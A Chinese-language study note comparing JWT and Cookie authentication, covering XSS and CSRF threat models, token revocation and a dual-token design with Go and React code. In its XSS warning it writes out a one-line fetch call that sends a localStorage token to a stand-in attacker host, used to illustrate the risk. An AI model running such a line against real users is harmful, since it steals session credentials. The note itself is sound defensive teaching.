Files
cs-note/hhs/DEV/鉴权策略/JWT vs Cookie/JWT vs Cookie.md
T

388 lines
16 KiB
Markdown
Raw Normal View History

2026-05-24 11:42:38 +08:00
---
tags: [JWT, Cookie, authentication, security, comparison, backend, frontend]
create time: 2026-05-23 00:01
---
# JWT vs Cookie:认证方案全景对比
## 概述
JWT 和 Cookie 是 Web 认证体系中两个最容易被混淆的概念。但它们根本不在同一个层面——**JWT 是令牌格式(数据结构),Cookie 是存储与传输机制(浏览器行为)**。把两者对立起来比较,就像拿"信件内容格式"和"邮递系统"做对比一样,维度完全不同。
本文从架构、安全、工程实践三个角度,系统对比两者,并给出**组合使用的最佳实践**。
> [!question] 先想一个问题
> JWT 存在哪里?Cookie 存在哪里?如果你的答案是"JWT 存客户端,Cookie 存浏览器",那说明这个误区正好是本文要澄清的。
>
> JWT 是一段**数据**,它可以存在 localStorage、内存变量、甚至 Cookie 里。Cookie 是浏览器的一种**存储和传输机制**,它可以存 JWT,也可以存 Session ID,或者任何字符串。
>
> 两者的关系是:**JWT 需要一个载体,Cookie 是候选载体之一。**
## 核心定位
### 层次模型
```mermaid
flowchart TB
subgraph Transport["传输层 — 数据怎么送到服务端"]
A["Authorization 头 — 前端手动注入"]
B["Cookie — 浏览器自动携带"]
C["URL 参数 — 不推荐"]
end
subgraph Format["数据层 — 送的是什么"]
D["JWT — 签名的 JSON 令牌"]
E["Session ID — 随机 UUID"]
F["自定义 Token — 任意字符串"]
end
subgraph Storage["存储层 — 存在哪里"]
G["localStorage — JS 可读写"]
H["HTTP-only Cookie — JS 不可读"]
I["内存变量 — 刷新即失"]
J["服务端 Session Store — Redis/DB"]
end
D --> A
D --> B
E --> B
F --> A
A --> G
A --> I
B --> H
E --> J
```
### 概念对比
| 维度 | JWT | Cookie |
|------|-----|--------|
| **本质** | 令牌格式(数据载体) | 存储与传输机制(浏览器行为) |
| **类比** | 信件内容的格式规范 | 邮递系统(自动送信) |
| **谁控制** | 开发者手动管理生命周期 | 浏览器根据响应头自动管理 |
| **数据可见性** | Base64 可解码(但签名防篡改) | 明文存储(除非加密) |
| **标准** | RFC 7519 | RFC 6265 |
> [!tip] 关键区分
> 问自己一个问题:"这个方案里,浏览器有没有自动帮我传数据?"
> - **有** → 用的是 Cookie 传输(不管里面存的是 Session ID 还是 JWT)
> - **没有** → 前端代码手动设 `Authorization` 头(JWT 或其他 Token)
## 安全模型对比
JWT + `Authorization` 头和 Cookie 的安全攻防完全不同,因为攻击面不同。
### 攻击面总览
```mermaid
flowchart LR
subgraph JWT_Auth["JWT + Authorization 头"]
direction TB
JA1["存储位置, localStorage"]
JA2["传输方式, 前端手动注入"]
JA3["主要威胁, XSS 窃取 Token"]
JA4["CSRF 风险, 低, 不自动发送"]
end
subgraph Cookie_Auth["Cookie 认证"]
direction TB
CA1["存储位置, 浏览器 Cookie 存储"]
CA2["传输方式, 浏览器自动携带"]
CA3["主要威胁, CSRF 伪造请求"]
CA4["XSS 风险, 低, HttpOnly 不可读"]
end
```
### XSS 攻防
XSS(跨站脚本)的核心:攻击者注入恶意 JS,窃取客户端存储的凭证。
| 方案 | 存储方式 | XSS 风险 | 说明 |
|------|----------|----------|------|
| JWT + localStorage | JS 可读 | **高** | 一旦 XSS 漏洞被利用,`localStorage.getItem('token')` 直接暴露 |
| JWT + 内存变量 | JS 可读但不持久 | **中** | 刷新页面即丢失,攻击窗口小,但 XSS 执行期间仍可读取 |
| JWT + HTTP-only Cookie | JS 不可读 | **低** | `HttpOnly` 阻断 JS 访问,XSS 无法直接窃取 |
| Session ID + HTTP-only Cookie | JS 不可读 | **低** | 同上,`HttpOnly` 是核心防线 |
> [!warning] localStorage 是 XSS 的"自助餐"
> 如果你的前端存在任何 XSS 漏洞(包括第三方依赖的漏洞),localStorage 中的 JWT 就是裸奔。攻击者只需一行代码 `fetch('https://evil.com/?t=' + localStorage.getItem('token'))` 即可完成窃取。
>
> 而 `HttpOnly` Cookie 是浏览器内核级别的隔离,JS 无法通过任何 API 读取——这才是真正的纵深防御。
### CSRF 攻防
CSRF(跨站请求伪造)的核心:浏览器自动携带目标域的 Cookie,攻击者借此伪造用户请求。
| 方案 | 自动携带凭证 | CSRF 风险 | 说明 |
|------|------------|-----------|------|
| JWT + `Authorization` 头 | 否 | **无** | `Authorization` 头需要 JS 手动设置,浏览器不会自动加 |
| JWT + Cookie | 是 | **有** | 和普通 Cookie 认证一样,需 SameSite / CSRF Token 防护 |
| Session ID + Cookie | 是 | **有** | 需配合 `SameSite=Lax/Strict` 或 CSRF Token |
```mermaid
sequenceDiagram
participant User as "用户"
participant SiteB as "恶意网站 B"
participant Server as "服务端"
Note over SiteB: "CSRF 攻击流程"
SiteB->>Server: "POST /transfer, Cookie 自动携带"
Server->>Server: "Cookie 合法, 请求被处理"
Server-->>SiteB: "转账成功"
Note over Server: "防御 SameSite Lax"
SiteB->>Server: "POST /transfer, Cookie 不携带"
Server-->>SiteB: "401 Unauthorized"
```
> [!question] 为什么 `Authorization` 天然免疫 CSRF?
> CSRF 利用的是浏览器**自动携带凭证**的行为。`Authorization` 头需要 JS 代码显式设置,浏览器不会自动注入——攻击者的恶意页面里没有你的 JS 代码,自然无法伪造 `Authorization` 头。
>
> 但要注意:如果你把 JWT 存在 Cookie 里(为了防 XSS),那 CSRF 风险就回来了。安全没有银弹,只有权衡。
### 综合安全评分
| 安全维度 | JWT + localStorage | JWT + Cookie (HttpOnly) | Session + Cookie (HttpOnly) |
|----------|--------------------|-----------------------|-----------------------------|
| XSS 防护 | ❌ 弱 | ✅ 强 | ✅ 强 |
| CSRF 防护 | ✅ 天然免疫 | ⚠️ 需额外防护 | ⚠️ 需额外防护 |
| 传输安全 | HTTPS | HTTPS + Secure 属性 | HTTPS + Secure 属性 |
| 令牌泄露影响 | 长期有效(至过期) | 长期有效(至过期) | 可即时吊销 |
| 实现复杂度 | 低 | 中 | 低 |
> [!info] 安全结论
> 没有"绝对安全"的方案,只有"适合场景"的方案:
> - 对 XSS 防御有信心(CSP + 输入转义 + 无第三方脚本风险)→ JWT + localStorage,实现简单
> - 对 XSS 没信心,或安全要求高 → JWT 存 HTTP-only Cookie,但需补 CSRF 防护
> - 传统 Web,需即时吊销 → Session + Cookie,最成熟可控
## 传输与工程实践对比
### 传输行为差异
```mermaid
sequenceDiagram
participant B as "浏览器"
participant S as "服务端"
Note over B: "方案 A, JWT + Authorization 头"
B->>B: "JS 从 localStorage 读取 Token"
B->>S: "GET /api/user, Authorization Bearer xxx"
S->>S: "解析 Authorization 头, 验签"
Note over B: "方案 B, Cookie 自动传输"
B->>S: "GET /api/user, Cookie 自动携带"
S->>S: "读取 Cookie 中的 Session ID 或 JWT"
```
| 工程维度 | JWT + Authorization 头 | Cookie 自动传输 |
|----------|----------------------|----------------|
| **前端工作量** | 需手动管理 Token 存储/注入/刷新 | 登录后浏览器自动处理 |
| **跨域支持** | 天然支持(手动设头即可) | 需 CORS 配置 + `credentials: "include"` |
| **移动端兼容** | 完美(不受浏览器 Cookie 策略限制) | 需要 WebView 支持 |
| **负载大小** | 500B~1KB(含 payload + 签名) | ~36B(仅 Session ID) |
| **服务端开销** | CPU 验签(轻量) | 查 Redis/DB(I/O) |
| **实时吊销** | 难(需黑名单或版本号) | 易(删 Session 即失效) |
| **水平扩展** | 天然支持(各服务独立验签,无需共享状态) | 需共享 Session 存储(Redis 等) |
> [!question] 为什么跨域场景倾向选 JWT + Authorization 头?
> Cookie 的跨域需要 CORS 配置白名单、`credentials: true`、且 `Allow-Origin` 不能用通配符——配置繁琐且容易出错。而 `Authorization` 头不受同源策略的 Cookie 限制,前端只需在请求拦截器里加一行,后端做标准的 Bearer Token 验证即可。
>
> 但代价是:前端要自己管理 Token 的生命周期——存储、注入、刷新、失效处理,这些都是 Cookie 浏览器自动帮你做的事。
### JWT 吊销策略
JWT 最大的工程痛点之一就是**实时吊销难**——Token 签发后在过期前一直有效。以下是常见的应对手段:
| 策略 | 实现方式 | 适用场景 | 代价 |
|------|----------|----------|------|
| **短过期 + 自动续期** | Access Token 15min,配合 Refresh Token 轮换 | 大多数场景的默认选择 | 无法秒级吊销,最长有 15min 窗口 |
| **Token 黑名单** | Redis 存被吊销的 Token JTI,每次请求校验 | 需要精确吊销(如用户主动登出、密码重置) | 引入状态存储,每次请求多一次 Redis 查询 |
| **Token 版本号** | 用户表维护 `token_version`,JWT payload 携带版本号,校验时比对 | 批量吊销(如"强制该用户所有设备下线") | 需要查库,但比黑名单轻量 |
| **Refresh Token 轮换** | 每次刷新签发新的 Refresh Token,旧的立即失效 | 防止 Refresh Token 泄露被重放 | 需要 Redis 存储 Token 家族关系 |
> [!tip] 实战建议
> 大部分场景用 **短过期 + 黑名单** 就够了。Access Token 设 15 分钟过期,用户登出或密码重置时将 Token JTI 加入 Redis 黑名单(TTL 等于 Token 剩余有效期)。不需要每次都查黑名单——只有在"安全事件"时才写入。
>
> 别试图实现"完美吊销"——那本质上就是 Session 方案了。JWT 的优势是**无状态验证**,频繁查库违背了它的设计初衷。
## 组合最佳实践:双令牌策略
真正的生产环境很少"二选一",而是**两者结合**,取长补短。
### 架构设计
```mermaid
flowchart TD
subgraph Login["登录流程"]
A["用户提交凭据"] --> B["服务端校验"]
B -->|"成功"| C["签发 Access Token, JWT, 15min"]
C --> D["签发 Refresh Token, UUID, 7d"]
D --> E["Access Token 返回响应体"]
D --> F["Refresh Token 存 HttpOnly Cookie"]
end
subgraph Request["API 请求"]
G["前端从内存取 Access Token"] --> H["注入 Authorization 头"]
H --> I["服务端验签, 无需查库"]
end
subgraph Refresh["Token 刷新"]
J["Access Token 过期"] --> K["前端请求 refresh"]
K --> L["浏览器自动带 Refresh Token Cookie"]
L --> M{"Refresh Token 有效"}
M -->|"是"| N["签发新 Access Token"]
M -->|"否"| O["跳转登录页"]
end
```
### 各层职责
| 组件 | 存储位置 | 生命周期 | 职责 |
|------|----------|----------|------|
| **Access Token** | 前端内存或 localStorage | 15 分钟 | API 调用凭证,过期即丢 |
| **Refresh Token** | Http-only + Secure + SameSite=Strict Cookie | 7 天 | 仅用于换取新 Access Token |
> [!tip] 为什么 Refresh Token 存 Cookie 而不是 Access Token?
> - **Refresh Token 访问频率低**(仅在 Access Token 过期时使用),Cookie 的自动传输特性在此是优势
> - **Refresh Token 是高价值目标**,Http-only Cookie 防 XSS 比 localStorage 安全
> - **Access Token 访问频率高**,存 localStorage 可避免每次请求的 Cookie 开销,也天然免疫 CSRF
>
> 这样两者各取所长:Access Token 的便利性 + Refresh Token 的安全性。
### Go 实现
```go
// 签发双令牌
func IssueTokenPair(c *gin.Context, userID uint, role string) {
// 1. Access Token: JWT, 短期
accessToken, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"sub": userID,
"role": role,
"exp": time.Now().Add(15 * time.Minute).Unix(),
}).SignedString([]byte(os.Getenv("JWT_SECRET")))
// 2. Refresh Token: 随机 UUID, 存 Redis
refreshToken := uuid.New().String()
redis.Set(ctx, "refresh:"+refreshToken, userID, 7*24*time.Hour)
// 3. Refresh Token 存入 HttpOnly Cookie
c.SetCookie("refresh_token", refreshToken, 7*86400, "/auth/refresh",
"", true, true) // Secure + HttpOnly(Gin 需手动设 header)
// 4. Access Token 返回响应体
c.JSON(200, gin.H{"accessToken": accessToken, "expiresIn": 900})
}
// 刷新端点:从 Cookie 读 Refresh Token,签发新 Access Token
func RefreshHandler(c *gin.Context) {
refreshToken, err := c.Cookie("refresh_token")
if err != nil {
c.AbortWithStatusJSON(401, gin.H{"error": "no refresh token"})
return
}
userID, err := redis.Get(ctx, "refresh:"+refreshToken).Result()
if err != nil {
c.AbortWithStatusJSON(401, gin.H{"error": "refresh token expired"})
return
}
// 签发新 Access Token(Refresh Token 不变)
newAccessToken, _ := GenerateAccessToken(userID)
c.JSON(200, gin.H{"accessToken": newAccessToken, "expiresIn": 900})
}
```
### React 前端
```typescript
const api = axios.create({ baseURL: "/api" });
// 请求拦截器:自动注入 Access Token
api.interceptors.request.use((config) => {
const token = getAccessTokenFromMemory(); // 从内存读,不从 localStorage
if (token) config.headers.Authorization = `Bearer ${token}`;
return config;
});
// 响应拦截器:401 时自动刷新
api.interceptors.response.use(
(res) => res,
async (err) => {
if (err.response?.status === 401 && !err.config._retry) {
err.config._retry = true;
try {
// 调用刷新接口 — Refresh Token 由浏览器 Cookie 自动携带
const { data } = await axios.post("/api/auth/refresh");
setAccessTokenInMemory(data.accessToken);
err.config.headers.Authorization = `Bearer ${data.accessToken}`;
return api.request(err.config);
} catch {
window.location.href = "/login"; // 刷新失败,重新登录
}
}
return Promise.reject(err);
},
);
```
> [!note] 为什么 Access Token 存内存而不存 localStorage?
> 内存变量在页面刷新后会丢失,这看起来是缺点,但恰恰是优势——XSS 攻击的窗口被缩小到当前页面生命周期。每次刷新页面都会用 Refresh Token(存在 Http-only Cookie 里,XSS 读不到)重新获取 Access Token,实现"无感续期"。
## 选型决策指南
```mermaid
flowchart TD
A["选择认证方案"] --> B{"架构类型"}
B -->|"传统 Web SSR"| C{"需要即时吊销"}
C -->|"是"| D["Session + Cookie"]
C -->|"否"| E["JWT + Cookie HttpOnly"]
B -->|"前后端分离 SPA"| F{"安全要求"}
F -->|"高"| G["双令牌策略 Access + Refresh"]
F -->|"标准"| H["JWT + localStorage + Authorization 头"]
B -->|"移动端"| I["JWT + Authorization 头, 存内存"]
B -->|"微服务内部通信"| J["JWT 非对称签名 RS256"]
D --> D1["Redis 存 Session, 服务端可控"]
E --> E1["浏览器自动传输, 无需前端管理"]
G --> G1["Access Token 内存, Refresh Token Cookie"]
H --> H1["实现简单, 注意 XSS 防护"]
I --> I1["无浏览器 Cookie 限制"]
J --> J1["私钥签发, 公钥验签"]
style D fill:#e8f4f8
style G fill:#fde8e8
style H fill:#fff3cd
style I fill:#d4edda
```
### 速查表
| 场景 | 推荐方案 | 理由 |
|------|----------|------|
| 企业后台管理系统 | Session + Cookie | 功能集中,需即时踢人,单体架构 |
| 前后端分离 SPA | 双令牌策略 | 兼顾安全与体验 |
| 移动端 App | JWT + Authorization 头 | 无 Cookie 机制,Token 存安全存储 |
| 微服务网关 | JWT 非对称签名 | 各服务独立验签,无需查中心存储 |
| SSO 单点登录 | JWT + Cookie (Partitioned) | 跨站场景需 CHIPS 支持 |
> [!info] 没有银弹
> 每种方案都有取舍。选型时问自己三个问题:
> 1. **能不能接受用户 Token 在过期前无法强制失效?** → 能:JWT;不能:Session
> 2. **前端有没有能力和意愿管理 Token 生命周期?** → 有:Authorization 头;没有:Cookie
> 3. **架构是否需要跨域或跨服务?** → 是:JWT;否:Session 足够
>
> 答案组合起来就是你的最优解。
## 关联笔记
- [[hhs/DEV/鉴权策略/JWT/JWT]] — JWT 令牌格式与认证流程详解
- [[Cookie]] — Cookie 机制、属性与安全防护
- [[SameSite 与 CSRF 防护]] — SameSite 属性与 CSRF 攻防策略